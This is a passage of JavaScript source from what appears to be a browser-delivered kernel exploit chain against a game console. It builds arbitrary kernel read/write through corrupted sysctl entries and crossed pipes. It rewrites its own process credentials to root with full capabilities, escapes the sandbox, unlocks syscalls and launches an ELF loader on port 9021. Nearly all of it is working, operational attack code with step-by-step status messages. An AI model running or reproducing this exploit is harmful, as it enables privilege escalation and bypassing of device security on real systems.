      );
      return false;
    } else {
      const reclaim = await this.reclaimWaiterArray(
        "ARM-A",
        deadSink,
        this.kaddr(a.kindByte3),
      );
      if (!reclaim) return false;
      if (!(await this.flipOidKind("ARM-A", reclaim, this.mibA, writableKind)))
        return false;
    }

    const bVisible = (await this.oidKind(this.mibB)) !== null;
    const aValue = await this.sysctlReadInt(this.mibA);
    if (bVisible) {
      // B holds a stale address from the previous load, so the cached
      // high dword means nothing: force the first aim through C.
      this.windowHigh = null;
      this.report("ARM-B", "already steered and un-hidden (resumed load)");
      if (!(await this.prepareHighWriter())) return false;
    } else if (aValue.rv !== 0) {
      this.report(
        "ARM-B",
        "NO-GO: A is not readable, so the steer cannot be verified." +
          " Do not fire. REBOOT.",
      );
      return false;
    } else {
      const reclaim = await this.reclaimWaiterArray(
        "ARM-B",
        this.kaddr(a.arg1Byte1),
        this.kaddr(b.visible),
      );
      if (!reclaim) return false;

      // Exactly one. A second walk moves A.arg1 another -0x100.
      await this.sysInt(
        SYS.aioCancel,
        reclaim.dangling.ids.add32(reclaim.firstPending * 4),
        1,
        this.scratch.states,
      );

      const steered = await this.sysctlReadInt(this.mibA);
      if (steered.rv !== 0 || steered.value >>> 0 !== expectedSteer) {
        this.report(
          "ARM-B",
          "NO-GO: A.arg1 reads 0x" +
            (steered.value >>> 0).toString(16) +
            ", expected exactly 0x" +
            expectedSteer.toString(16) +
            ". Do NOT fire again, REBOOT.",
        );
        return false;
      }
      this.windowHigh = 0xffffffff;
      this.report("ARM-B", "OK A.oid_arg1 now points at B.oid_arg1");
    }

    // ---- read self-test ----
    const kindViaOidfmt = await this.oidKind(this.mibB);
    const kindViaRead = await this.kread32(this.kaddr(b.kind));
    if (
      kindViaRead.rv !== 0 ||
      kindViaOidfmt === null ||
      kindViaRead.value !== kindViaOidfmt
    ) {
      this.report(
        "ARM-RW",
        "NO-GO: read self-test failed (0x" +
          kindViaRead.value.toString(16) +
          " vs " +
          (kindViaOidfmt === null
            ? "ENOENT"
            : "0x" + kindViaOidfmt.toString(16)) +
          "). Do not fire more heads. REBOOT.",
      );
      return false;
    }
    this.report("KREAD", "arbitrary kernel read is live");

    // ---- C: make the window oid writable ----
    const kindB = await this.oidKind(this.mibB);
    if (kindB === writableKind) {
      this.report("ARM-C", "B.kind already flipped (resumed load)");
    } else if (kindB !== originalKind) {
      this.report(
        "ARM-C",
        "NO-GO: B.kind=0x" +
          kindB.toString(16) +
          " is in an unknown" +
          " state. REBOOT.",
      );
      return false;
    } else {
      const reclaim = await this.reclaimWaiterArray(
        "ARM-C",
        deadSink,
        this.kaddr(b.kindByte3),
      );
      if (!reclaim) return false;
      if (!(await this.flipOidKind("ARM-C", reclaim, this.mibB, writableKind)))
        return false;
    }

    // ---- write self-test ----
    const counter = this.kaddr(this.off.walkCounter.addr);
    const counterMib = this.off.walkCounter.mib;
    const MAGIC = 0x41424344;

    const before = await this.sysctlReadInt(counterMib);
    const rv = await this.kwrite32(counter, MAGIC);
    const after = await this.sysctlReadInt(counterMib);
    const writeOk = rv === 0 && after.value >>> 0 === MAGIC;
    if (writeOk) await this.kwrite32(counter, before.value >>> 0);

    this.report(
      "ARM-RW",
      writeOk
        ? "arbitrary kernel READ and WRITE are both live and self-tested"
        : "PARTIAL: read works, write does not. Do NOT fire more heads.",
    );
    if (!writeOk) return false;

    // Mint the high-dword writer now, while the window is still in the
    if (!this.mibC && !(await this.prepareHighWriter())) return false;

    return true;
  }

  // ---- step 5: our own struct proc -------------------------------------

  async kread32Auto(address) {
    if (!this.crossed) return this.kread32(address);
    if (!this.autoBuffer) this.autoBuffer = this.p.malloc(8, 1);
    for (let attempt = 0; attempt < 3; attempt++)
      if ((await this.kreadFast(address, 4, this.autoBuffer)) === 4)
        return { rv: 0, value: this.readU32(this.autoBuffer, 0) >>> 0 };
    return { rv: -1, value: 0 };
  }
  async kread64Auto(address) {
    if (!this.crossed) return this.kread64(address);
    if (!this.autoBuffer) this.autoBuffer = this.p.malloc(8, 1);
    for (let attempt = 0; attempt < 3; attempt++)
      if ((await this.kreadFast(address, 8, this.autoBuffer)) === 8)
        return { rv: 0, value: this.readU64(this.autoBuffer, 0) };
    return { rv: -1, value: new int64(0, 0) };
  }

  async walkProcesses(matches) {
    const head = await this.kread64Auto(this.kaddr(this.off.allproc));
    if (head.rv !== 0 || !this.isKernelPointer(head.value)) {
      this.report(
        "PROC",
        "NO-GO: allproc head is not a kernel pointer -- wrong offset",
      );
      return null;
    }

    let proc = head.value;
    for (let hop = 0; hop < 4096; hop++) {
      const pid = await this.kread32Auto(proc.add32(this.off.proc.pid));
      if (pid.rv !== 0) return null;
      if ((pid.value | 0) < 0 || (pid.value | 0) > 0x40000) {
        this.report(
          "PROC",
          "NO-GO: implausible pid " +
            (pid.value | 0) +
            " at hop " +
            hop +
            " -- p_pid or allproc is wrong. STOP.",
        );
        return null;
      }
      if (matches(pid.value | 0)) return { proc, hop };

      const next = await this.kread64Auto(proc);
      if (next.rv !== 0 || (next.value.low === 0 && next.value.hi === 0))
        return null;
      if (!this.isKernelPointer(next.value)) return null;
      proc = next.value;
    }
    return null;
  }

  async findCurrentProcess() {
    const myPid = await this.sysInt(SYS.getpid);
    const found = await this.walkProcesses((pid) => pid === myPid);
    if (!found) {
      this.report("PROC", "NO-GO: our pid " + myPid + " is not in allproc");
      return false;
    }
    this.curproc = found.proc;

    const fd = await this.kread64(this.curproc.add32(this.off.proc.fd));
    if (this.isKernelPointer(fd.value)) this.procFdAddr = fd.value;

    const aioInfo = await this.kread64(
      this.curproc.add32(this.off.proc.aioInfo),
    );
    const ucred = await this.kread64(this.curproc.add32(this.off.proc.ucred));
    if (this.isKernelPointer(ucred.value)) this.ucred = ucred.value;

    const ok = aioInfo.rv === 0 && this.isKernelPointer(aioInfo.value);
    this.report(
      "PROC",
      "pid=" +
        myPid +
        " proc=0x" +
        this.curproc.toString() +
        " hops=" +
        found.hop +
        " p_aioinfo=0x" +
        aioInfo.value.toString() +
        " p_ucred=0x" +
        (this.ucred ? this.ucred.toString() : "0") +
        " -> " +
        (ok ? "kernel heap read confirmed" : "PARTIAL, check the proc offsets"),
    );
    return ok;
  }

  async findRootvnode() {
    const direct = await this.kread64Auto(this.kaddr(this.off.rootvnode));
    if (direct.rv === 0 && this.isKernelPointer(direct.value))
      return direct.value;
    this.report(
      "ESC",
      "rootvnode global at 0x" +
        this.off.rootvnode.toString(16) +
        " read 0x" +
        direct.value.toString() +
        " (not sane) -- walking allproc instead",
    );

    const found = await this.walkProcesses(
      (pid) => pid === (this.off.kernelPid | 0),
    );
    if (!found) return null;
    const fd = await this.kread64Auto(found.proc.add32(this.off.proc.fd));
    if (fd.rv !== 0 || !this.isKernelPointer(fd.value)) return null;
    const rootvnode = await this.kread64Auto(
      fd.value.add32(this.off.filedesc.cdir),
    );
    if (rootvnode.rv !== 0 || !this.isKernelPointer(rootvnode.value))
      return null;
    return rootvnode.value;
  }

  // ---- step 6: fast read/write through a crossed pipe ------------------

  async findPipe(fdp, fd, label) {
    const table = await this.kread64(fdp.add32(this.off.filedesc.files));
    if (table.rv !== 0 || !this.isKernelPointer(table.value)) {
      this.report("PIPE", label + ": fd table is not sane");
      return null;
    }

    const count = await this.kread32(
      table.value.add32(this.off.filedescTable.nfiles),
    );
    if (count.rv !== 0 || fd >= count.value) {
      this.report(
        "PIPE",
        label + ": fd " + fd + " is past nfiles " + count.value,
      );
      return null;
    }

    const entry =
      this.off.filedescTable.ofiles + fd * this.off.filedescTable.entryStride;
    const file = await this.kread64(table.value.add32(entry));
    if (file.rv !== 0 || !this.isKernelPointer(file.value)) {
      this.report("PIPE", label + ": struct file is not sane");
      return null;
    }

    const pipe = await this.kread64(
      file.value.add32(this.off.filedescTable.fileData),
    );
    if (pipe.rv !== 0 || !this.isKernelPointer(pipe.value)) {
      this.report("PIPE", label + ": f_data is not sane");
      return null;
    }

    const pair = await this.kread64(pipe.value.add32(this.off.pipe.pair));
    const isReadEnd =
      pair.rv === 0 &&
      pair.value.hi === pipe.value.hi &&
      pair.value.low === pipe.value.low;
    return { file: file.value, pipe: pipe.value, isReadEnd };
  }

  /** Create the master/victim pipe pair and verify both are really ours. */
  async locatePipes() {
    const fdp = await this.kread64(this.curproc.add32(this.off.proc.fd));
    if (fdp.rv !== 0 || !this.isKernelPointer(fdp.value)) {
      this.report("PIPE", "NO-GO: p_fd is not sane");
      return false;
    }

    const pair = this.alloc(16);
    const probe = this.alloc(8);
    const located = [];

    for (const label of ["master", "victim"]) {
      this.clear(pair, 16);
      if ((await this.sysInt(SYS.pipe2, pair, 0)) !== 0) {
        this.report("PIPE", "pipe2 failed for " + label);
        return false;
      }
      const readFd = this.readU32(pair, 0) | 0;
      const writeFd = this.readU32(pair, 4) | 0;
      this.fds.push(readFd, writeFd);

      const info = await this.findPipe(fdp.value, readFd, label);
      if (!info) return false;
      if (!info.isReadEnd) {
        this.report(
          "PIPE",
          "NO-GO: " + label + " failed the self-pointer oracle",
        );
        return false;
      }

      // Put a byte in, then read the counters back through the kernel: an
      // independent check that this is the pipe behind our own fd.
      this.writeU32(probe, 0, 0x5a);
      await this.sysInt(SYS.write, writeFd, probe, 1);
      const count = await this.kread32(info.pipe.add32(this.off.pipe.count));
      if (count.value !== 1) {
        this.report(
          "PIPE",
          "NO-GO: " +
            label +
            " count=" +
            count.value +
            " after one byte -- this is not our pipe",
        );
        return false;
      }

      located.push({ label, readFd, writeFd, pipe: info.pipe });
    }

    [this.master, this.victim] = located;
    this.report(
      "PIPE",
      "master=0x" +
        this.master.pipe.toString() +
        " victim=0x" +
        this.victim.pipe.toString() +
        " both verified",
    );
    return true;
  }

  async aimVictim(address, count, size) {
    const { count: C, in: I, out: O, size: S, buffer: B } = this.off.pipe;
    this.clear(this.aimBuffer, 0x18);
    this.writeU32(this.aimBuffer, C, count >>> 0);
    this.writeU32(this.aimBuffer, I, 0);
    this.writeU32(this.aimBuffer, O, 0);
    this.writeU32(this.aimBuffer, S, size >>> 0);
    this.writeU64(this.aimBuffer, B, address);

    const written = await this.sysInt(
      SYS.write,
      this.master.writeFd,
      this.aimBuffer,
      0x18,
    );
    const drained = await this.sysInt(
      SYS.read,
      this.master.readFd,
      this.drainBuffer,
      0x18,
    );
    return written === 0x18 && drained === 0x18 ? 0 : -1;
  }

  async kreadFast(address, length, dest) {
    if ((await this.aimVictim(address, length, this.pipeSize)) !== 0) return -1;
    return this.sysInt(SYS.read, this.victim.readFd, dest, length);
  }

  async kwriteFast(address, length, src) {
    if ((await this.aimVictim(address, 0, this.pipeSize)) !== 0) return -1;
    return this.sysInt(SYS.write, this.victim.writeFd, src, length);
  }

  async crossPipes() {
    const master = this.master.pipe;
    const victim = this.victim.pipe;
    const { count, in: inOff, out: outOff, size, buffer } = this.off.pipe;

    this.pipeSize = this.off.pipe.defaultSize;
    this.aimBuffer = this.alloc(0x20);
    this.drainBuffer = this.alloc(0x40);

    const inValue = await this.kread32(master.add32(inOff));
    const outValue = await this.kread32(master.add32(outOff));
    if (inValue.rv !== 0 || inValue.value !== 1 || outValue.value !== 0) {
      this.report(
        "FAST",
        "NO-GO: master in/out read " +
          inValue.value +
          "/" +
          outValue.value +
          ", expected 1/0. Refusing to write into a live pipe.",
      );
      return false;
    }
    await this.sysInt(SYS.read, this.master.readFd, this.drainBuffer, 1);

    const fields = [
      [count, 0],
      [inOff, 0],
      [outOff, 0],
      [size, this.pipeSize],
      [buffer, victim.low >>> 0],
      [buffer + 4, victim.hi >>> 0],
    ];
    for (const [offset, value] of fields) {
      let ok = false;
      for (let attempt = 0; attempt < 3 && !ok; attempt++) {
        await this.kwrite32(master.add32(offset), value);
        const readBack = await this.kread32(master.add32(offset));
        ok = readBack.rv === 0 && readBack.value === value >>> 0;
      }
      if (!ok) {
        this.report(
          "FAST",
          "NO-GO: could not set master+0x" + offset.toString(16),
        );
        return false;
      }
    }
    this.crossed = true;

    // Oracle independent of both the kernel and the sysctl window: read
    // .rodata we can compare byte for byte against the firmware image.
    const { rva, text } = this.off.rodataProbe;
    const out = this.alloc(0x40);
    const got = await this.kreadFast(this.kaddr(rva), text.length, out);
    let read = "";
    for (let i = 0; i < text.length; i++)
      read += String.fromCharCode(this.readU8(out, i));

    const match = got === text.length && read === text;
    this.report(
      "FAST",
      match
        ? "fast kernel R/W is live (arbitrary length, one syscall, no window limit)"
        : "NO-GO: the crossing did not read back known .rodata, not using it",
    );
    return match;
  }

  // ---- step 7: escalation ----------------------------------------------

  async escalate() {
    if (!this.crossed || !this.ucred) {
      this.report("ESC", "SKIP: fast R/W or p_ucred is missing");
      return false;
    }

    const scratch = this.scratch.qword;
    const write32 = async (address, value) => {
      this.writeU32(scratch, 0, value >>> 0);
      return (await this.kwriteFast(address, 4, scratch)) === 4;
    };
    const write64 = async (address, low, high) => {
      this.writeU32(scratch, 0, low >>> 0);
      this.writeU32(scratch, 4, high >>> 0);
      return (await this.kwriteFast(address, 8, scratch)) === 8;
    };
    const read32 = async (address) => {
      const rv = await this.kreadFast(address, 4, scratch);
      return rv === 4 ? this.readU32(scratch, 0) >>> 0 : -1;
    };

    const uidBefore = await this.sysInt(SYS.getuid);
    const sandboxBefore = await this.sysInt(SYS.isInSandbox);

    const rootvnode = await this.findRootvnode();
    if (!rootvnode) {
      this.report("ESC", "NO-GO: could not find rootvnode");
      return false;
    }

    const { ucred, sysCoreAuthId, filedesc, dynlib, proc } = this.off;
    const cred = this.ucred;

    await write32(cred.add32(ucred.uid), 0);
    await write32(cred.add32(ucred.ruid), 0);
    await write32(cred.add32(ucred.svuid), 0);
    await write32(cred.add32(ucred.ngroups), 1);
    await write32(cred.add32(ucred.rgid), 0);
    await write32(cred.add32(ucred.svgid), 0);
    await write64(
      cred.add32(ucred.sceAuthId),
      sysCoreAuthId.lo,
      sysCoreAuthId.hi,
    );
    await write64(cred.add32(ucred.sceCaps), 0xffffffff, 0xffffffff);
    await write64(cred.add32(ucred.sceCaps1), 0xffffffff, 0xffffffff);

    const attrsLow = await read32(cred.add32(ucred.sceAttrs));
    const attrsHigh = await read32(cred.add32(ucred.sceAttrs + 4));
    await write64(
      cred.add32(ucred.sceAttrs),
      ((attrsLow & 0x00ffffff) | 0x80000000) >>> 0,
      attrsHigh,
    );

    const fdp = (await this.kread64(this.curproc.add32(proc.fd))).value;
    await write64(fdp.add32(filedesc.cdir), rootvnode.low, rootvnode.hi);
    await write64(fdp.add32(filedesc.rdir), rootvnode.low, rootvnode.hi);
    await write64(fdp.add32(filedesc.jdir), 0, 0);

    // Widen the allowed syscall range and open the dlsym gate, so the kexp
    // shellcode and elfldr can call into libkernel.
    const dynlibPtr = await this.kread64(this.curproc.add32(proc.dynlib));
    if (this.isKernelPointer(dynlibPtr.value)) {
      await write64(dynlibPtr.value.add32(dynlib.syscallStart), 0, 0);
      await write64(
        dynlibPtr.value.add32(dynlib.syscallEnd),
        0xffffffff,
        0xffffffff,
      );
      await write32(dynlibPtr.value.add32(dynlib.restrictFlags), 0);
      await write64(dynlibPtr.value.add32(dynlib.libkernelRef), 1, 0);
    } else {
      this.report(
        "ESC",
        "p_dynlib is not a sane pointer, skipping the dlsym unlock",
      );
    }

    const uidAfter = await this.sysInt(SYS.getuid);
    const sandboxAfter = await this.sysInt(SYS.isInSandbox);
    const ok = uidAfter === 0 && sandboxAfter === 0;
    this.report(
      "ESC",
      "uid " +
        uidBefore +
        "->" +
        uidAfter +
        " sandbox " +
        sandboxBefore +
        "->" +
        sandboxAfter +
        (ok
          ? " -- ROOT, OUT OF SANDBOX"
          : " -- an oracle did not clear, check the offsets"),
    );
    return ok;
  }

  // ---- step 8: defuse the armed aio groups -----------------------------

  async lookupAioGroup(table, id) {
    const { pages, slotStride, entryType } = this.off.aio.idTable;
    const index = id & 0x1fff;

    const pageCount = await this.kread32(table.add32(pages));
    if (pageCount.rv !== 0 || pageCount.value === 0 || pageCount.value > 64)
      return { error: "pages=" + pageCount.value };
    if (index >= pageCount.value << 7)
      return { error: "index " + index + " out of range" };

    const page = await this.kread64(table.add32((index >>> 7) * 8));
    if (page.rv !== 0 || !this.isKernelPointer(page.value))
      return { error: "page" };

    const slot = page.value.add32((id & 0x7f) * slotStride);
    const generation = await this.kread32(slot.add32(0x28));
    if (generation.rv !== 0) return { error: "generation" };
    if (((((generation.value & 0xffff) << 13) | index) & 0xffff) !== id)
      return { error: "generation mismatch" };

    const state = await this.kread32(slot.add32(0x24)); // free_next | state<<16
    if (state.rv !== 0 || state.value >>> 16 !== 3) return { error: "state" };

    const type = await this.kread32(slot.add32(0x20));
    if (type.rv !== 0 || (type.value & 0xffff) !== entryType)
      return { error: "type" };

    const group = await this.kread64(slot.add32(0x10));
    if (group.rv !== 0 || !this.isKernelPointer(group.value))
      return { error: "group" };
    return { group: group.value };
  }

  async defuseAioGroups() {
    if (!this.curproc) {
      this.report("DEFUSE", "SKIP: no curproc");
      return false;
    }

    const table = (
      await this.kread64(this.curproc.add32(this.off.proc.aioInfo))
    ).value;
    if (!this.isKernelPointer(table)) {
      this.report("DEFUSE", "NO-GO: p_aioinfo is not sane");
      return false;
    }

    const { num, state, waiters } = this.off.aio.group;
    let total = 0,
      alreadyClear = 0,
      cleared = 0,
      skipped = 0,
      failed = 0;

    for (const arming of this.armedGroups) {
      const headCounts = {};

      for (const id of arming.ids) {
        total++;
        const found = await this.lookupAioGroup(table, id);
        if (found.error) {
          skipped++;
          continue;
        }

        const shared = await this.kread64(found.group.add32(0x10));
        if (shared.rv !== 0 || !this.isKernelPointer(shared.value)) {
          skipped++;
          continue;
        }

        // Two dwords whose values we already know: cheap, and they catch
        // a wrong group before we write into it.
        const groupNum = await this.kread32(shared.value.add32(num));
        const groupState = await this.kread32(shared.value.add32(state));
        if (
          groupNum.value !== 1 ||
          groupState.value < 1 ||
          groupState.value > 4
        ) {
          skipped++;
          continue;
        }

        const head = await this.kread64(shared.value.add32(waiters));
        if (head.value.low === 0 && head.value.hi === 0) {
          alreadyClear++;
          continue;
        }

        const key = "0x" + head.value.toString();
        headCounts[key] = (headCounts[key] || 0) + 1;

        // The slow primitive drops writes occasionally, and a head left
        // non-zero is the exact landmine this step exists to remove.
        let ok = false;
        for (let attempt = 0; attempt < 3 && !ok; attempt++) {
          await this.kwrite32(shared.value.add32(waiters), 0);
          await this.kwrite32(shared.value.add32(waiters + 4), 0);
          const back = await this.kread64(shared.value.add32(waiters));
          ok = back.value.low === 0 && back.value.hi === 0;
        }
        if (ok) cleared++;
        else failed++;
      }

      // Mode 0 links the same fixed w[0] into every group of one arming,
      // so n groups resolved through n independent id-table slots must
      // report exactly one head value. That cannot happen by chance.
      const distinct = Object.keys(headCounts).length;
      if (distinct > 0)
        this.report(
          "DEFUSE-ALIAS",
          "arming=" +
            arming.tag +
            " distinct_heads=" +
            distinct +
            (distinct === 1 ? " (mode-0 aliasing confirmed)" : " EXPECTED 1"),
        );
    }

    const ok =
      skipped === 0 && failed === 0 && cleared + alreadyClear === total;
    this.defused = true;
    this.report(
      "DEFUSE",
      "ids=" +
        total +
        " cleared=" +
        cleared +
        " already_clear=" +
        alreadyClear +
        " skipped=" +
        skipped +
        " failed=" +
        failed +
        " -> " +
        (ok
          ? "every armed group is inert, page exit is survivable"
          : "INCOMPLETE: a live head remains. POWER-CYCLE, do not navigate away."),
    );
    return ok;
  }

  // ---- step 9: hand off to the ELF loader ------------------------------

  /**
   * The read/write API the kexp handoff expects. Every address is absolute
   * and every access goes through the fast pipe crossing.
   */
  buildKernelRwApi() {
    const scratch = this.alloc(8);
    const readInto = async (address, length) => {
      this.clear(scratch, 8);
      return (await this.kreadFast(address, length, scratch)) === length
        ? scratch
        : null;
    };
    const writeFrom = async (address, length, value) => {
      this.clear(scratch, 8);
      this.writeU32(
        scratch,
        0,
        value.low !== undefined ? value.low : value >>> 0,
      );
      if (length === 8)
        this.writeU32(scratch, 4, value.hi !== undefined ? value.hi : 0);
      return (await this.kwriteFast(address, length, scratch)) === length;
    };

    return {
      ktextBase: this.kbase,
      kdataBase: this.kaddr(this.off.kernelData),
      curprocAddr: this.curproc,
      procUcredAddr: this.ucred,
      procFdAddr: this.procFdAddr,

      read1: async (a) => {
        const b = await readInto(a, 1);
        return b ? this.readU8(b, 0) : -1;
      },
      read4: async (a) => {
        const b = await readInto(a, 4);
        return b ? this.readU32(b, 0) >>> 0 : -1;
      },
      read8: async (a) => {
        const b = await readInto(a, 8);
        return b ? this.readU64(b, 0) : new int64(0, 0);
      },
      write1: (a, v) => writeFrom(a, 1, v),
      write4: (a, v) => writeFrom(a, 4, v),
      write8: (a, v) => writeFrom(a, 8, v),
      read: (a, n, dest) => this.kreadFast(a, n, dest),
      write: (a, n, src) => this.kwriteFast(a, n, src),
    };
  }

  async launchElfLoader() {
    // Mandatory before kexp spawns its thread. A pthread created while we
    // hold a single core is stranded there and the join never returns.
    await this.restoreThreadAttributes("pre-kexp");

    const { runKexp } = await import("./kexp.js");
    const config = (typeof window.AIO_CFG === "object" && window.AIO_CFG) || {};
    const forward = (message) => this.report("KEXP", message);

    try {
      const up = await runKexp(
        this.buildKernelRwApi(),
        this.p,
        this.chain,
        forward,
        config,
      );
      this.report(
        "ELFLDR",
        up
          ? "kexp returned cleanly -- elfldr is listening on 127.0.0.1:9021"
          : "kexp returned falsy -- elfldr is not confirmed up",
      );
      return !!up;
    } catch (e) {
      this.report("ELFLDR", "kexp threw: " + String((e && e.message) || e));
      return false;
    }
  }

  // ---- step 10: put the kernel back ------------------------------------

  async restoreOids() {
    if (this.oidsRestored || !this.crossed) return false;

    const { a, b, c, originalKind } = this.off.oid;
    const scratch = this.scratch.qword;
    const write32 = async (address, value) => {
      this.clear(scratch, 8);
      this.writeU32(scratch, 0, value >>> 0);
      return (await this.kwriteFast(address, 4, scratch)) === 4;
    };
    const write64 = async (address, value) => {
      this.writeU32(scratch, 0, value.low);
      this.writeU32(scratch, 4, value.hi);
      return (await this.kwriteFast(address, 8, scratch)) === 8;
    };

    // Pointers first, so a concurrent read already sees something sane;
    // then the kinds; then re-hide B.
    await write64(this.kaddr(a.arg1), this.kaddr(a.arg1Value));
    await write64(this.kaddr(b.arg1), this.kaddr(b.arg1Value));
    await write64(this.kaddr(c.arg1), this.kaddr(c.arg1Value));
    await write32(this.kaddr(a.kind), originalKind);
    await write32(this.kaddr(b.kind), originalKind);
    await write32(this.kaddr(c.kind), originalKind);
    await write32(this.kaddr(b.visible), 0);

    // The two counters the decrements ran down.
    await write32(this.kaddr(a.deadSink), 0);
    await write32(this.kaddr(this.off.walkCounter.addr), 0);

    this.mibC = null;
    this.oidsRestored = true;

    const cpus = await this.sysctlReadInt(this.mibA);
    const stillVisible = (await this.oidKind(this.mibB)) !== null;
    this.report(
      "OID-RESTORE",
      "kern.smp.cpus rv=" +
        cpus.rv +
        " val=" +
        cpus.value +
        " maxcpus=" +
        (stillVisible ? "STILL VISIBLE" : "hidden") +
        " -> shutdown-path sysctl reads are safe again",
    );
    return true;
  }

  async restorePipes() {
    if (!this.crossed) return;
    this.crossed = false;

    const { count, in: inOff, out: outOff, size, buffer } = this.off.pipe;

    if ((await this.aimVictim(this.master.pipe, 0, this.pipeSize)) !== 0) {
      this.report(
        "PIPE-RESTORE",
        "could not aim the victim at the master, leaving both armed",
      );
      return;
    }

    const zeroed = this.alloc(0x20);
    this.writeU32(zeroed, count, 0);
    this.writeU32(zeroed, inOff, 0);
    this.writeU32(zeroed, outOff, 0);
    this.writeU32(zeroed, size, 0);
    this.writeU64(zeroed, buffer, new int64(0, 0));

    const written = await this.sysInt(
      SYS.write,
      this.victim.writeFd,
      zeroed,
      0x18,
    );
    const readBack = await this.sysInt(
      SYS.read,
      this.victim.readFd,
      this.drainBuffer,
      0x18,
    );
    const nulled =
      written === 0x18 &&
      readBack === 0x18 &&
      this.readU32(this.drainBuffer, buffer) === 0 &&
      this.readU32(this.drainBuffer, buffer + 4) === 0;

    this.report(
      "PIPE-RESTORE",
      "master.pipe_buffer.buffer=" +
        (nulled ? "NULL -> pipe_free_kmem is a no-op" : "NOT CLEARED"),
    );
  }

  async releaseAioWorkers() {
    if (this.workersReleased || !this.workerPark) return;
    this.workersReleased = true;

    try {
      await this.sysInt(SYS.close, this.workerPark.writeFd);
      await sleep(120);
      await this.sysInt(SYS.close, this.workerPark.readFd);
      this.report(
        "PARK-RELEASE",
        "worker park closed, parked aio threads are free",
      );
    } catch (e) {
      this.report("PARK-RELEASE", "failed: " + String((e && e.message) || e));
    }
  }

  async closeScratchDescriptors() {
    if (this.descriptorsClosed) return;
    this.descriptorsClosed = true;

    const keep = new Set();
    for (const pipe of [this.master, this.victim])
      if (pipe) {
        keep.add(pipe.readFd);
        keep.add(pipe.writeFd);
      }

    let closed = 0;
    for (const fd of new Set(this.fds)) {
      if (keep.has(fd)) continue;
      if ((await this.sysInt(SYS.close, fd)) === 0) closed++;
    }
    this.report("FD-CLOSE", "released " + closed + " descriptors");
  }

  /** Everything the console needs back before the page goes away. */
  async restoreKernelState() {
    await this.restoreOids(); // fast primitive, must come first
    await this.restorePipes(); // fast primitive, ends it
    await this.releaseAioWorkers();
    await this.closeScratchDescriptors();
  }

  // ---- driver ----------------------------------------------------------

  async run() {
    this.report(
      "START",
      "fw=" + window.fw_str + " offsets=" + this.off.firmware,
    );

    try {
      const pid = await this.sysInt(SYS.getpid);
      const uid = await this.sysInt(SYS.getuid);
      this.report("BOOT", "pid=" + pid + " uid=" + uid);

      await this.leakKernelBase();
      await this.pinToSingleCore();

      if (!(await this.verifyOffsets()))
        return this.stop("offsets do not match this kernel");
      if (!(await this.armKernelReadWrite()))
        return this.stop("armings did not complete");
      if (!(await this.findCurrentProcess()))
        return this.stop("curproc not found");
      if (!(await this.locatePipes())) return this.stop("pipes not located");
      if (!(await this.crossPipes()))
        return this.stop("fast R/W not established");

      // Defuse early, while nothing downstream needs the armed groups.
      // This is the process-exit landmine, and it uses the sysctl window
      // rather than the pipes, which the loader still needs.
      await this.defuseAioGroups();

      if (!(await this.escalate()))
        return this.stop("escalation did not clear");
      const elfldr = await this.launchElfLoader();

      await this.restoreKernelState();
      this.report(
        "DONE",
        "kbase=0x" +
          this.kbase.toString() +
          (elfldr
            ? " -- elfldr on 127.0.0.1:9021, power-off is clean"
            : " -- root+unsandboxed, but elfldr did not confirm up"),
      );
      // done:true tells main.js the module ran the whole chain itself, so
      // it stops cleanly instead of running its own kernel-patch tail.
      return { kbase: this.kbase, done: true, elfldr };
    } catch (e) {
      this.report("FAIL", String((e && e.message) || e));
      throw e;
    } finally {
      await this.rescue();
    }
  }

  stop(why) {
    this.report("STOP", why);
    return { kbase: this.kbase, done: true, elfldr: false };
  }

  async rescue() {
    try {
      if (this.pinnedCore !== undefined && !this.threadAttributesRestored)
        await this.restoreThreadAttributes("rescue");

      // Defusing runs on the sysctl window, so it has to happen before
      // restoreOids() takes that window away.
      if (this.armedGroups.length && !this.defused) {
        this.report(
          "RESCUE",
          this.armedGroups.length +
            " arming(s) were never defused," +
            " attempting repair before exit",
        );
        if (!this.curproc) await this.findCurrentProcess();
        if (this.curproc) await this.defuseAioGroups();
        else this.report("RESCUE", "curproc unavailable -> POWER-CYCLE");
      }

      await this.restoreKernelState();
    } catch (e) {
      this.report(
        "RESCUE",
        "failed: " + String((e && e.message) || e) + " -> POWER-CYCLE",
      );
    }
  }
}